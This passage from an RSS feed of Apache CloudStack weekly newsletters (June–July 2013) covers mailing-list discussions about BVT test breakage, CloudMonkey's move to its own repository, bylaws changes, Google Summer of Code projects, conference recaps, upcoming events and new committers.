be done in a timely fashion and miss the 4.2 cutoff.</p><p>When late requests come in like this it also puts undo stress on the testing of the release as well. Read through the <a href="http://markmail.org/message/zgwtc5nzm3bpmic2" target="_blank" rel="nofollow" class="external-link">merge thread</a> to follow the discussion on how we can improve this in the future.</p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-BVTAutomationTestingBreaks"></a>BVT Automation Testing Breaks</h5><p>After complaints that the BVT environment was broken, Alex Huang did some investigating to identify the root cause and raise a suggest on how BVT testing should be <a href="http://markmail.org/message/si6rt2mkc7dt4krw" target="_blank" rel="nofollow" class="external-link">dealt with in the future</a>. </p><blockquote><p>After Dave's complain in the vmsync <a class="createlink" href="/confluence/pages/createpage.action?spaceKey=CLOUDSTACK&amp;title=MERGE&amp;linkCreation=true&amp;fromPageId=31825135">MERGE</a> thread about BVT in horrible shape on master, I went around to figure out what exactly happened.  The best I can figure is that after a certain merge (I will leave out which merge as that's not important), BVT no longer runs automatically.  It was promised to be fixed and there are people who are actively fixing it but it's been in this way for about two weeks.  People running BVTs are working around the problem but it's not automated anymore and so it's no longer running on master.  I understand people are nice and tried to be accommodating to other people by working around the problem but sometimes we just have to be an arse.  So let me be that arse...</p><p>New Rule....<br>If BVT or automated regression tests break on master or any release branch, we revert all commits that broke it.  It doesn't matter if they promise to fix it within the next hour.  If it's broken, the release manager will revert the commits and developers must resubmit.  It sounds mean but it's the only way this problem can be fixed.  </p><p>To avoid having a bunch of reverts and resubmits, the developers should be able to request that BVT run on their branch and don't merge until BVT on their branch is at 100%.  We will work on figuring out how to do that.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-1July2013-CloudMonkeyandPyPIReleases"></a>CloudMonkey and PyPI Releases</h5><p>On June 9th, Rohit Yadav asked about a problem with the 4.1.0-0 CloudMonkey release on PyPI lacking the fail safe API cache. Starting a discussion about the future of how to treat <a href="http://markmail.org/message/vq3sqf7o3nckdy5p" target="_blank" rel="nofollow" class="external-link">CloudMonkey and Marvin</a>.</p><p><b>Follow-up</b> - Rohit and David Nalley have since moved CloudStack CloudMonkey out to its own Git Repository and version based off the continuing conversation through last week. No decisions have been made yet in regards to Marvin and if community members have an opinion are encouraged to join the <a href="http://markmail.org/message/vq3sqf7o3nckdy5p" target="_blank" rel="nofollow" class="external-link">discussion</a>. </p><p>A Vote on final adoption of the move of CloudMonkey is now underway. Please join in the <a href="http://markmail.org/message/gbnlv6i3gltghmdx" target="_blank" rel="nofollow" class="external-link">Vote thread.</a></p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-JavaandTomcatversionupgrades"></a>Java and Tomcat version upgrades</h5><p>As we continue to work on improving CloudStack, there are additional upgrades to the tools that we use to bring CloudStack to life. Hugo Trippaers started the <a href="http://markmail.org/message/yuonvnahlzx5ga6k" target="_blank" rel="nofollow" class="external-link">discussion</a> on support for Java 1.7 and Tomcat 7. Please join in the discussion as it will have affect development of future versions of CloudStack.</p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-Votestartstodeterminewherenontechnicalmattersaredecidedon"></a>Vote starts to determine where non-technical matters are decided on</h5><p>In previous discussion about publishing books about CloudStack on the <a href="http://CloudStack.Apache.Org" target="_blank" rel="nofollow" class="external-link">CloudStack.Apache.Org</a> page, Sebastien Goasguen noted that there's a question about voting on a list that isn't dev@:</p><blockquote><p>...<br>Our bylaws (1) do not cover votes on non-technical matters, so while we have<br>lazy majority on this vote it seems that this situation is not covered by the<br>bylaws. Moreover section 3.1.1 of bylaws says that decisions on the project<br>happen on dev@, so it seems that votes even on marketing@ are not allowed<br>(unsure about this).<br>... </p></blockquote><p>Based off this, Noah Slater has <a href="http://markmail.org/message/5i7kp6pnmdfv3q5r" target="_blank" rel="nofollow" class="external-link">proposed new language</a> to the by-laws to help improve our ability to manage such decisions.</p><blockquote><p>...<br>Summary of changes:</p><ul><li>Addition of "3.4.2. Non-Technical Decisions" section. This specifies that<br>non-technical decisions can be made on any appropriate list (i.e. marketing@)<br>and also allows us to vote on them with lazy 2/3 majority.</li><li>Changed "The vote must occur on a project development mailing list." to<br>"The vote must occur on the project development mailing list." in several<br>places. This makes it explicit that these decisions must be made on<br>the dev@list.</li><li>Minor rewordings, typographical changes, corrections, section<br>renumbering, etc.<br>...</li></ul></blockquote><h3><a name="ApacheCloudStackWeeklyNews-1July2013-CloudStackPlanet"></a>CloudStack Planet</h3><h5><a name="ApacheCloudStackWeeklyNews-1July2013-GoogleSummerofCodeUpdate"></a>Google Summer of Code Update</h5><ul><li><b><a href="http://www.google-melange.com/gsoc/homepage/google/gsoc2013" target="_blank" rel="nofollow" class="external-link">Google Summer of Code (GSOC)</a></b> has been headed up by Sebastien Goasguen, bringing 5 young developers and their projects to the CloudStack community.The <a href="http://markmail.org/message/dczqcoortvic7cpc?q" target="_blank" rel="nofollow" class="external-link">Community Bonding period</a> was to help introduce them to the community and their ideas and help them get acquainted with procedures and systems.</li></ul><p>We now enter the <a href="http://markmail.org/search/?q" target="_blank" rel="nofollow" class="external-link">work period</a> and get going on these proposals. Please help them as they try to help improve Apache CloudStack.</p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-CloudStackCommunitySurveyUnderway"></a>CloudStack Community Survey Underway</h5><p>Please let your voice and your organization be heard in this short survey. We would like to have both users of the Apache CloudStack source and Commercial derivatives, "We will be using the data in <b>aggregate</b> to get to know more about how it's being deployed out there." Chip Childers <a href="http://markmail.org/message/7s3ev7leok7uxucb?q" target="_blank" rel="nofollow" class="external-link">commented</a>. Click <a href="https://www.surveymonkey.com/s/28BV97D" target="_blank" rel="nofollow" class="external-link">Here</a> to take the short survey.</p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-CloudStackCommunityVotestoPublishCloudStackBookList"></a>CloudStack Community Votes to Publish CloudStack Book List</h5><p>In a heavily <a href="http://markmail.org/message/jwoaknt7mdveklxp?q" target="_blank" rel="nofollow" class="external-link">discussed</a> topic throughout the community to allow the publishing of outside books about CloudStack on the CloudStack.Apache.Org website or wiki, it was finally voted on and decided to allow outside publications to be published. Right now Sebastien Goasguen has setup a <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Books" target="_blank" rel="nofollow" class="external-link">wiki page</a> and will work on where to have the permanent placement for this page. </p><h5><a name="ApacheCloudStackWeeklyNews-1July2013-AVideographerisWorkingwithCloudStacktoCreateVideosfortheProject"></a>A Videographer is Working with CloudStack to Create Videos for the Project</h5><p>Gregg Witkin and Jessica Tomechak are <a href="http://markmail.org/thread/rs7paw6wfs4kktwh" target="_blank" rel="nofollow" class="external-link">working together on videos this summer</a>, including one that aims to show some of the most interesting real-world applications of CloudStack. They're asking for participation on this video, and suggestions for other videos you'd like to see. Check out these videos Gregg did with CloudStack just last year. <a href="http://www.youtube.com/watch?v=oJ4b8HFmFTc" target="_blank" rel="nofollow" class="external-link">Link 1</a>, <a href="http://www.youtube.com/watch?v=KATuxn5pimY" target="_blank" rel="nofollow" class="external-link">Link 2</a></p><h3><a name="ApacheCloudStackWeeklyNews-1July2013-Events"></a>Events</h3><h5><a name="ApacheCloudStackWeeklyNews-1July2013-CloudStackCollaborationConference2013"></a>CloudStack Collaboration Conference 2013</h5><p>If you're not able to join, all sessions are being recorded and will be available after the conference for viewing.</p><ul><li>The Hack Day was a great success with several tables opening up and a lot of conversations flowing. There were large conversations in storage, mindshare/marketing, documentation and several others. Each group is encouraged to share their collaborations with the rest of the community.</li><li><a href="http://www.cloudstackcollab.org/keynotes/keynote2/" target="_blank" rel="nofollow" class="external-link">Chip Childers</a> kicked off the conference on Monday, June 24th, 2013 with a state of a strong and busy community. He talked about how much we have accomplished in the time that we have been in the Apache Foundation and the great work that is upcoming. Chip's presentation is up on <a href="http://www.slideshare.net/chipchilders/cloudstack-collab-2013-keynote" target="_blank" rel="nofollow" class="external-link">slideshare</a></li><li><a href="http://www.cloudstackcollab.org/keynote1/" target="_blank" rel="nofollow" class="external-link">Gene Kim's</a> keynote gave us an insight into Devops and the ability of IT to work in a different way and more function ways.Aaron Delp wrote a blog on the opening keynotes. Read it <a href="http://itknowledgeexchange.techtarget.com/open-clouds/cloudstack-opening-keynote-live-blog/" target="_blank" rel="nofollow" class="external-link">here</a></li><li>Adrian Cockcroft’s delivered a great keynote closing the conference talking about <a href="http://www.cloudstackcollab.org/keynotes/keynote3/" target="_blank" rel="nofollow" class="external-link">“Dystopia as a Service”</a> on Tuesday.</li><li>There were so many amazing presentations! They were all recorded and will be available shortly on the BuildACloud.org website. We will let you know when it's available.</li><li>The tweeters were busy during the conference! Check out the <a href="https://twitter.com/search/%23CCC13" target="_blank" rel="nofollow" class="external-link">#CCC13 Tag</a> for a lot of info from the conference.</li><li><b>Want to win $10,000?</b> That's right, Citrix has offered a $10,000 bounty for the first person to get Netflix OSS Tool to work on CloudStack! <a href="https://twitter.com/mrhinkle" target="_blank" rel="nofollow" class="external-link">Mark Hinkle</a> made the announcement during the closing keynote.</li><li>Here's some links to many of the pictures taken: <a href="https://www.icloud.com/photostream/#A2532OdWwFsrj" target="_blank" rel="nofollow" class="external-link">link</a>, <a href="http://www.flickr.com/photos/encoreopus/sets/72157634290835546/" target="_blank" rel="nofollow" class="external-link">link</a>, <a href="http://www.flickr.com/photos/encoreopus/sets/72157634304416585/" target="_blank" rel="nofollow" class="external-link">link</a>, <a href="http://www.flickr.com/groups/2277952@N22/" target="_blank" rel="nofollow" class="external-link">link</a>, <a href="http://share.shutterfly.com/action/welcome?sid=0QcMmrdy3bNmHc" target="_blank" rel="nofollow" class="external-link">link</a></li></ul><h5><a name="ApacheCloudStackWeeklyNews-1July2013-MoreEvents"></a>More Events</h5><ul><li><b><a href="http://www.eventbrite.com/event/6727182183" target="_blank" rel="nofollow" class="external-link">CloudStack European User Group meeting</a></b> being held in London, UK on July 4.</li><li><b><a href="http://www.oscon.com/oscon2013" target="_blank" rel="nofollow" class="external-link">O'Reilly's Open Source Convention (OSCON)</a></b> is being held July 22-26 at Oregon Convention Center, Portland Oregon. There will be several CloudStack talks.</li><li><b>CloudStack Study Meeting</b> Suzuki-san will be organizing a study meeting in Osaka on August 2.</li><li>*<a href="http://www.ospn.jp/osc2012-kyoto/" target="_blank" rel="nofollow" class="external-link">OSC Kyoto</a> The <a href="http://cloudstack.jp/" target="_blank" rel="nofollow" class="external-link">Japanese CloudStack User Group (JCSUG)</a> will be presenting at the Open Source Conference in Kyoto on August 2-3.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-1July2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><ul><li>Mike Tutkowski has been invited by the PMC to become a committer and <a href="http://http://markmail.org/message/7bma6ph2r3ijrxuv?q" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 17 June 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_17</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_17</guid>
            <pubDate>Tue, 18 Jun 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[It's been another busy week for the Apache CloudStack project. This week we welcome another new committer, work continues on 4.1.1 and 4.2.0, and we have some interesting discussions on how we should release the CloudMonkey and Marvin tools used with CloudStack. We've also seen a few interesting marketing discussions, and the community is gearing up for the second CloudStack Collaboration Conference taking place 23 June through 25 June in Santa Clara, CA.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a>It's been another busy week for the Apache CloudStack project. This week we welcome another new committer, work continues on 4.1.1 and 4.2.0, and we have some interesting discussions on how we should release the CloudMonkey and Marvin tools used with CloudStack. We've also seen a few interesting marketing discussions, and the community is gearing up for the second <a href="http://cloudstackcollab.org/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference</a> taking place 23 June through 25 June in Santa Clara, CA.</p><h3><a name="ApacheCloudStackWeeklyNews-17June2013-MajorDiscussions"></a>Major Discussions</h3><p>In this section we look at major discussions that have happened on the CloudStack mailing lists. This is by no means a full summary of all discussions on the lists, but we try to hit the highlights that are relevant to the larger CloudStack community. </p><h5><a name="ApacheCloudStackWeeklyNews-17June2013-Progresson4.1.1Release"></a>Progress on 4.1.1 Release</h5><p>With 4.1 now released we are already beginning work on the 4.1.1 patch update. Ilya Musayev is release manager for the 4.1.x branch, but Chip Childers <a href="http://markmail.org/message/6ionwrcqlh4pi2j4" target="_blank" rel="nofollow" class="external-link">will handle the 4.1.1 release</a> as Ilya is unavailable during the timeframe we expect to finish 4.1.1 and call for a VOTE.</p><h5><a name="ApacheCloudStackWeeklyNews-17June2013-CloudMonkeyandPyPIReleases"></a>CloudMonkey and PyPI Releases</h5><p>On June 9th, Rohit Yadav asked about a problem with the 4.1.0-0 CloudMonkey release on PyPI lacking the failsafe API cache:</p><blockquote><p>When I install it I don't get any api commands. The autodiscovery using sync is useful but only with the ApiDiscovery plugin which works only for 4.2 and later. For 4.1 and below I think we should, in that case, bundle the cache for all the apis. Or maybe<br>just oss components/plugins?</p></blockquote><p>David replied that "this is exactly why I've been <a href="http://markmail.org/message/wir5vfawex3y22ot" target="_blank" rel="nofollow" class="external-link">suggesting that we break CloudMonkey (and Marvin) out of the main repo</a>" and give them their own lifecycle. "It's far easier/faster to iterate cloudmonkey than all of CloudStack and tying it to the slower lifecycle of ACS will continue to trouble it IMO."</p><p>Rohit replied that "we should do it then." Prasanna Santhanam replied, "I haven't given breaking out the project much thought. But it's certainly a possibility." However, Prasanna <a href="http://markmail.org/message/vq3sqf7o3nckdy5p" target="_blank" rel="nofollow" class="external-link">notes that</a> "parts of the codebase" depend on Marvin, and it would require an "easier way to update Marvin across CloudStack providers to enable auto-updating Marvin's libraries like CloudMonkey can." </p><p>No final decisions have been made, but the discussion is still open for anyone that has a stake in how releases happen for Marvin and CloudMonkey.</p><h5><a name="ApacheCloudStackWeeklyNews-17June2013-CloudStackCommunitySurveyUnderway"></a>CloudStack Community Survey Underway</h5><p>Please let your voice and your organization be heard in this short survey. We would like to have both users of the Apache CloudStack source and Commercial derivatives, "We will be using the data in <b>aggregate</b> to get to know more about how it's being deployed out there." Chip Childers <a href="http://markmail.org/message/7s3ev7leok7uxucb?q" target="_blank" rel="nofollow" class="external-link">commented</a>. Click <a href="https://www.surveymonkey.com/s/28BV97D" target="_blank" rel="nofollow" class="external-link">Here</a> to take the short survey.</p><h5><a name="ApacheCloudStackWeeklyNews-17June2013-CloudStackCommunityVotestoPublishCloudStackBookList"></a>CloudStack Community Votes to Publish CloudStack Book List</h5><p>In a heavily <a href="http://markmail.org/message/jwoaknt7mdveklxp?q" target="_blank" rel="nofollow" class="external-link">discussed</a> topic throughout the community to allow the publishing of outside books about CloudStack on the CloudStack.Apache.Org website or wiki, it was finally voted on and decided to allow outside publications to be published. Right now Sebastien Goasguen has setup a <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Books" target="_blank" rel="nofollow" class="external-link">wiki page</a> and will work on where to have the permanent placement for this page. Sebastien posted the full results <a href="http://markmail.org/message/wnfcn2gcxs3p7do3" target="_blank" rel="nofollow" class="external-link">on June 12</a>, but noted that there's a question about voting on a list that isn't dev@:</p><blockquote><p>...<br>Our bylaws (1) do not cover votes on non-technical matters, so while we have<br>lazy majority on this vote it seems that this situation is not covered by the<br>bylaws. Moreover section 3.1.1 of bylaws says that decisions on the project<br>happen on dev@, so it seems that votes even on marketing@ are not allowed<br>(unsure about this).</p><p>I propose the following:</p><p>1-To move forward without having to re-cast a vote, I propose to list<br>immediately the books on the Wiki, and inform Packt. I just created the page (2)<br>2- If people agree that we have a bylaw "loophole", we need to modify the bylaws<br>to allow votes on marketing@ and agree on using Lazy majority or Lazy 2/3<br>majority. </p><p>Once we agree, I will inform users@ and dev@ and invite folks who participated<br>in this vote to join marketing@</p><p>3- We could then re-cast a vote to list on the website</p><p>(1) <a href="http://cloudstack.apache.org/bylaws.html" target="_blank" rel="nofollow" class="external-link">http://cloudstack.apache.org/bylaws.html</a><br>(2) <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Books" target="_blank" rel="nofollow" class="external-link">https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Books</a><br>... </p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-17June2013-GoogleSummerofCodeUpdate"></a>Google Summer of Code Update</h5><ul><li><b><a href="http://www.google-melange.com/gsoc/homepage/google/gsoc2013" target="_blank" rel="nofollow" class="external-link">Google Summer of Code (GSOC)</a></b> has been headed up by Sebastien Goasguen, bringing 5 young developers and their projects to the CloudStack community.The <a href="http://markmail.org/message/dczqcoortvic7cpc?q" target="_blank" rel="nofollow" class="external-link">Community Bonding period</a> was to help introduce them to the community and their ideas and help them get acquainted with procedures and systems.</li></ul><p>We now enter the <a href="http://markmail.org/search/?q" target="_blank" rel="nofollow" class="external-link">work period</a> and get going on these proposals. Please help them as they try to help improve Apache CloudStack.</p><p>Get to know these 5 young talents:</p><ul><li><b>Dharmesh mentored by Sebastien</b> - <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1784" target="_blank" rel="nofollow" class="external-link">JIRA Entry</a> / <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Integration+project+to+deploy+and+use+Mesos+on+a+CloudStack+based+cloud" target="_blank" rel="nofollow" class="external-link">Wiki page</a></li><li><b>Meng mentored by Sebastien</b> - <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1782" target="_blank" rel="nofollow" class="external-link">JIRA Entry</a> / <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Improving+CloudStack+Support+for+Apache+Whirr+and+Incubator-provisionr+in+Hadoop+Provisioning" target="_blank" rel="nofollow" class="external-link">Wiki page</a></li><li><b>Ian mentored by Abhi</b> - <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-2014" target="_blank" rel="nofollow" class="external-link">JIRA entry</a> / <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/LDAP+user+provisioning+in+cloudstack" target="_blank" rel="nofollow" class="external-link">Wiki page</a></li><li><b>Nguyen mentored by Hugo</b> - <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1779" target="_blank" rel="nofollow" class="external-link">JIRA entry</a> / <a href="https://cwiki.apache.org/CLOUDSTACK/ovs-tunnel-manager-for-cloudstack.html" target="_blank" rel="nofollow" class="external-link">Wiki page</a></li><li><b>Shiva mentored by Kelcey</b> - <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1778" target="_blank" rel="nofollow" class="external-link">JIRA Entry</a> / <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Create+a+bootstrap+based+GUI+for+CloudStack" target="_blank" rel="nofollow" class="external-link">Wiki page</a></li></ul><h5><a name="ApacheCloudStackWeeklyNews-17June2013-AVideographerisWorkingwithCloudStacktoCreateVideosfortheProject"></a>A Videographer is Working with CloudStack to Create Videos for the Project</h5><p>Gregg Witkin and Jessica Tomechak are <a href="http://markmail.org/thread/rs7paw6wfs4kktwh" target="_blank" rel="nofollow" class="external-link">working together on videos this summer</a>, including one that aims to show some of the most interesting real-world applications of CloudStack. They're asking for participation on this video, and suggestions for other videos you'd like to see. Check out these videos Gregg did with CloudStack just last year. <a href="http://www.youtube.com/watch?v=oJ4b8HFmFTc" target="_blank" rel="nofollow" class="external-link">Link 1</a>, <a href="http://www.youtube.com/watch?v=KATuxn5pimY" target="_blank" rel="nofollow" class="external-link">Link 2</a></p><h3><a name="ApacheCloudStackWeeklyNews-17June2013-CloudStackPlanet"></a>CloudStack Planet</h3><h5><a name="ApacheCloudStackWeeklyNews-17June2013-CloudStackPMCmembersaskedtojoinASFmembership"></a>CloudStack PMC members asked to join ASF membership</h5><p>Chip Childers and David Nalley were invited to be members of the Apache Software Foundation. An honor given to those, "<a href="https://blogs.apache.org/foundation/entry/the_apache_software_foundation_welcomes2" target="_blank" rel="nofollow" class="external-link">Committers who demonstrate merit in the Foundation’s growth, evolution, and progress are nominated for ASF Membership by existing members.</a>". Congratulations to both Chip and David. </p><h3><a name="ApacheCloudStackWeeklyNews-17June2013-JCSUGpresentsatLinuxCon%2FCloudOpenJapan"></a>JCSUG presents at LinuxCon / CloudOpen Japan</h3><p>On May 29-31 the Japanese CloudStack User Group participated in the <a href="http://linuxconcloudopenjapan2013.sched.org/" target="_blank" rel="nofollow" class="external-link">LinuxCon / CloudOpen 2013</a> in Tokyo. 20 volunteers helped with the CloudStack and Xen booth at the conference. During the conference there was also several sessions on building clouds with CloudStack, CloudStack networking, and participation in a discussion panel with Google, Rackspace, NTT and Red Hat. Here are <a href="http://flickr.com/gp/kkitase/G2oV00/" target="_blank" rel="nofollow" class="external-link">pictures of the event.</a></p><h3><a name="ApacheCloudStackWeeklyNews-17June2013-UpcomingEvents"></a>Upcoming Events</h3><h5><a name="ApacheCloudStackWeeklyNews-17June2013-CloudStackCollaborationConference2013Only1weekaway%21"></a>CloudStack Collaboration Conference 2013 - Only 1 week away!</h5><p><b><a href="http://www.cloudstackcollab.org/" target="_blank" rel="nofollow" class="external-link">The CloudStack Collaboration Conference 2013 (CCC13)</a></b> hasn't even begun yet and the collaboration, excitement and participation for the event is already in full swing. Here are some of the highlights and notes to remember for attendees. </p><ul><li>Registration opens on Sunday, June 25th at 4:30pm right before the Welcome Cocktail Reception.</li><li>Joe Brockmeier has already started planning discussion for the <a href="http://markmail.org/message/qecctaile2ogcppz?q" target="_blank" rel="nofollow" class="external-link">Hack Day</a>. Topics like Storage Architecture with John Burwell, Documentation with Joe Brockmeier, and Apache Project integrations with Sebastien Goasguen. Check out the sessions on the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Hack+Day+at+CCC13" target="_blank" rel="nofollow" class="external-link">wiki</a></li><li><a href="http://www.cloudstackcollab.org/keynote1/" target="_blank" rel="nofollow" class="external-link">Gene Kim</a> &amp; <a href="http://www.cloudstackcollab.org/keynotes/keynote2/" target="_blank" rel="nofollow" class="external-link">Chip Childers</a> will be kicking off the conference with keynotes on Monday, June 24th, 2013.</li><li>Gene Kim will be doing book signings during the morning and afternoon breaks. The first 250 attendees to get registered for their badges at the conference will get a copy of <a href="http://www.cloudstackcollab.org/keynote1/" target="_blank" rel="nofollow" class="external-link">The Phoenix Project.</a></li><li>Adrian Cockcroft’s keynote has been announced. He will be closing the conference with his keynote, <a href="http://www.cloudstackcollab.org/keynotes/keynote3/" target="_blank" rel="nofollow" class="external-link">“Dystopia as a Service”</a> on Tuesday, June 25th.</li><li>Remember to sign up for the evening events – the CloudStack Roller Coaster Party <a href="http://www.cloudstackcollab.org/register/" target="_blank" rel="nofollow" class="external-link">requires a ticket.</a></li><li>If you have not booked your hotel room yet – simply make your reservation <a href="https://resweb.passkey.com/Resweb.do?mode=welcome_gi_new&amp;groupID=19467447" target="_blank" rel="nofollow" class="external-link">here!</a></li></ul><h5><a name="ApacheCloudStackWeeklyNews-17June2013-MoreEvents"></a>More Events</h5><ul><li><b><a href="http://bacdparis.eventbrite.com" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day Paris</a></b> Paris, June 19th.</li><li><b><a href="http://www.shapeblue.com/cloudstack-bootcamp-training-course" target="_blank" rel="nofollow" class="external-link">ShapeBlue CloudStack BootCamp</a></b> being held June 19/20 in London,UK.</li><li><b><a href="http://www.shapeblue.com/cloudstack-bootcamp-training-course" target="_blank" rel="nofollow" class="external-link">ShapeBlue CloudStack BootCamp</a></b> being held June 22/23 at the Santa Clara Convention Center.</li><li><b><a href="http://www.meetup.com/Silicon-Valley-Riak/events/124134742/" target="_blank" rel="nofollow" class="external-link">Silicon Valley Riak hosting "Apache CloudStack + Riak CS: Building a Complete Private Cloud"</a></b> in Santa Clara, CA, June 26th</li><li><b><a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/117379992/" target="_blank" rel="nofollow" class="external-link">CloudStack San Francisco Users Group Event</a></b> being held at SAP Labs in Palo Alto CA. on June 27th.</li><li><b><a href="http://www.eventbrite.com/event/6727182183" target="_blank" rel="nofollow" class="external-link">CloudStack European User Group meeting</a></b> being held in London, UK on July 4</li><li><b><a href="http://www.oscon.com/oscon2013" target="_blank" rel="nofollow" class="external-link">O'Reilly's Open Source Convention (OSCON)</a></b> is being held July 22-26 at Oregon Convention Center, Portland Oregon. There will be several CloudStack talks.</li><li><b>CloudStack Study Meeting</b> Suzuki-san will be organizing a study meeting in Osaka on August 2.</li><li>*<a href="http://www.ospn.jp/osc2012-kyoto/" target="_blank" rel="nofollow" class="external-link">OSC Kyoto</a> The <a href="http://cloudstack.jp/" target="_blank" rel="nofollow" class="external-link">Japanese CloudStack User Group (JCSUG)</a> will be presenting at the Open Source Conference in Kyoto on August 2-3</li></ul><h3><a name="ApacheCloudStackWeeklyNews-17June2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><ul><li>Jayapal Reddy Uradi has been invited by the PMC to become a committer and <a href="http://markmail.org/message/l42bsqfh5pc235mg" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 10 June 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_10</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_10</guid>
            <pubDate>Wed, 12 Jun 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This week, we take a look at the 4.2.0 feature freeze pushback, the Apache CloudStack user survey, and new committers and PMC members for Apache CloudStack.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a>This week, we take a look at the 4.2.0 feature freeze pushback, the Apache CloudStack user survey, and new committers and PMC members for Apache CloudStack.</p><h3><a name="ApacheCloudStackWeeklyNews-10June2013-MajorDiscussions"></a>Major Discussions</h3><p>In this section we look at major discussions that have happened on the CloudStack mailing lists. This is by no means a full summary of all discussions on the lists, but we try to hit the highlights that are relevant to the larger CloudStack community. </p><h5><a name="ApacheCloudStackWeeklyNews-10June2013-4.1Releases"></a>4.1 Releases</h5><p>The first major release of Apache CloudStack since it became a top level project was released on June 5, 2013 and is available. For more information, please see the official <a href="https://blogs.apache.org/cloudstack/entry/apache_cloudstack_4_1_0" target="_blank" rel="nofollow" class="external-link">announcement.</a> </p><h5><a name="ApacheCloudStackWeeklyNews-10June2013-4.2FeatureFreezePushBack"></a>4.2 Feature Freeze Push Back</h5><p>Due to the delays in releasing 4.1 release, it was requested by many in the community to push back the freeze date. Chip Childers called for a Vote on 5/31 to move the Feature Freeze back from 5/31 to 6/28 (<a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Cloudstack+4.2+Release" target="_blank" rel="nofollow" class="external-link">Updated Schedule</a>). The push back was approved with 19 +1 votes (<a href="http://markmail.org/message/2pd33ofdegqugsi2?q" target="_blank" rel="nofollow" class="external-link">full results</a>).</p><h5><a name="ApacheCloudStackWeeklyNews-10June2013-CloudStackCommunitySurveyUnderway"></a>CloudStack Community Survey Underway</h5><p>Please let your voice and your organization be heard in this short survey. We would like to have both users of the Apache CloudStack source and Commercial derivatives, "We will be using the data in <b>aggregate</b> to get to know more about how it's being deployed out there." Chip Childers <a href="http://markmail.org/message/7s3ev7leok7uxucb?q" target="_blank" rel="nofollow" class="external-link">commented</a>. Click <a href="https://www.surveymonkey.com/s/28BV97D" target="_blank" rel="nofollow" class="external-link">Here</a> to take the short survey.</p><h3><a name="ApacheCloudStackWeeklyNews-10June2013-CloudStackPlanet"></a>CloudStack Planet</h3><ul><li><b><a href="http://buildacloud.org/blog/259-cloudstack-university.html" target="_blank" rel="nofollow" class="external-link">CloudStack University</a></b> by Sebastien Goasguen: <em>At Apache CloudStack we recently started an initiative to organize our content into learning modules. We call this initiative CloudStack University. Everyone is invited to participate by contributing content (slides and screencasts), suggesting new learning modules that are needed and even creating exercises and assignments. School fun ! As we were discussing the initiative on the mailing list we started by looking at our existing content: slideshares, youtube videos and thought about organizing them into a CloudStack 101 course. This is still a work in progress that requires everyones participation to make it a great resource.</em></li></ul><ul><li><b><a href="http://markmail.org/message/fdughdzmp7ia44yx?q" target="_blank" rel="nofollow" class="external-link">Videographer is working with CloudStack to create videos for the project.</a></b> Is your cloud one of the "Top 10 Coolest CloudStack Deployments"? Videographer Gregg Witkin and writer Jessica Tomechak are working together on videos this summer, including one that aims to show some of the most interesting real-world applications of CloudStack. They welcome your participation on this video, and suggestions for other videos you'd like to see. Check out these videos Gregg did with CloudStack just last year. <a href="http://www.youtube.com/watch?v=oJ4b8HFmFTc" target="_blank" rel="nofollow" class="external-link">Link 1</a>, <a href="http://www.youtube.com/watch?v=KATuxn5pimY" target="_blank" rel="nofollow" class="external-link">Link 2</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-10June2013-UpcomingEvents"></a>Upcoming Events</h3><p>Don't miss the <b><a href="http://cloudstackcollab.net/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference</a></b>, which is coming up June 23 through June 25. </p><ul><li>Just announced that Adrian Cockcroft (Director of Architecture for the Cloud Systems team at Netflix) will deliver the closing keynote at the conference with, "Dystopia as a Service" on June 25th, 2013. Adrian will discuss the new challenges and demands of living in this dystopian world of cloud-based services along with an overview of the Netflix open source cloud platform. For more info click <a href="http://www.cloudstackcollab.org/keynotes/keynote3/" 